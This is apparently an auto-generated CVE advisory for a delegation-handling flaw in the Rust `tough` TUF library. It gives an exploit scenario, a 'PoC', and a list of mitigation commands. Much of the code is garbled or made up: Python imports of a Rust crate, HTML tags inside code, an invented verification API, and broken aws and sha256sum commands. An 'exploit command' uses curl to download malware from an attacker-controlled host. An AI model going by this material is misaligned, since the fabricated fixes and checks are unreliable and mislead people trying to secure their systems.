How the CVE Works
The vulnerability arises in the TUF (The Update Framework) implementation in the `tough` library, specifically in how it processes role delegations. TUF uses delegations to distribute signing responsibilities among different roles, ensuring secure software updates. However, `tough` versions before 0.20.0 fail to properly enforce delegation termination rules, allowing lower-priority delegations to override higher-priority ones.
When a TUF repository defines terminating delegations (which should halt further delegation searches), `tough` incorrectly continues searching, accepting metadata from unauthorized or lower-priority roles. This flaw enables an attacker with control over a delegated role to inject malicious targets, bypassing intended security controls. The impact is critical as it allows unauthorized code execution via software supply chain attacks.
DailyCVE Form
Platform: TUF (tough)
Version: < 0.20.0
Vulnerability: Incorrect delegation handling
Severity: Critical
Date: YYYY-MM-DD
What Undercode Say:
Exploitation Analysis
1. Exploit Scenario:
- An attacker compromises a delegated role in a TUF repository.
- They craft malicious target metadata, signing it with their compromised key.
- The vulnerable `tough` client accepts this metadata due to improper delegation termination.
2. Proof of Concept (PoC) Code:
Simulate malicious delegation injection
from tough import Repository
repo = Repository.load("malicious_repo")
target = repo.get_target("compromised_package")
3. Exploit Command:
curl -X GET "https://attacker-controlled-repo/targets/malicious-pkg" --output malware
Protection & Mitigation
1. Patch Immediately:
cargo update -p tough --precise 0.20.0
2. Verification Script:
import tough assert tough.<strong>version</strong> >= "0.20.0", "Vulnerable version detected!"
3. Workaround (Temporary):
- Disable delegations in `tough` config (if feasible).
4. Monitoring Command:
grep -r "delegations" /etc/tuf/
5. AWS-Specific Fix:
aws s3 sync --exclude "" --include ".tough" s3://secure-bucket/patched/
6. Log Analysis:
journalctl -u tuf-client --since "1 hour ago" | grep "delegation"
7. Network Protection Rule:
iptables -A OUTPUT -p tcp --dport 443 -d trusted-repo.com -j ACCEPT
8. Signature Verification:
from tough import verify verify.force_terminating_delegations()
9. Post-Exploit Detection:
sha256sum /var/lib/tuf/targets/ | grep -v $(cat known_hashes.txt)
10. Automated Patch Checker:
crontab -l | grep "tough_version_check.sh"
Note: Always validate TUF metadata integrity and enforce strict delegation policies.
References:
Reported By: https://github.com/advisories/GHSA-v4wr-j3w6-mxqc
Extra Source Hub:
Undercode
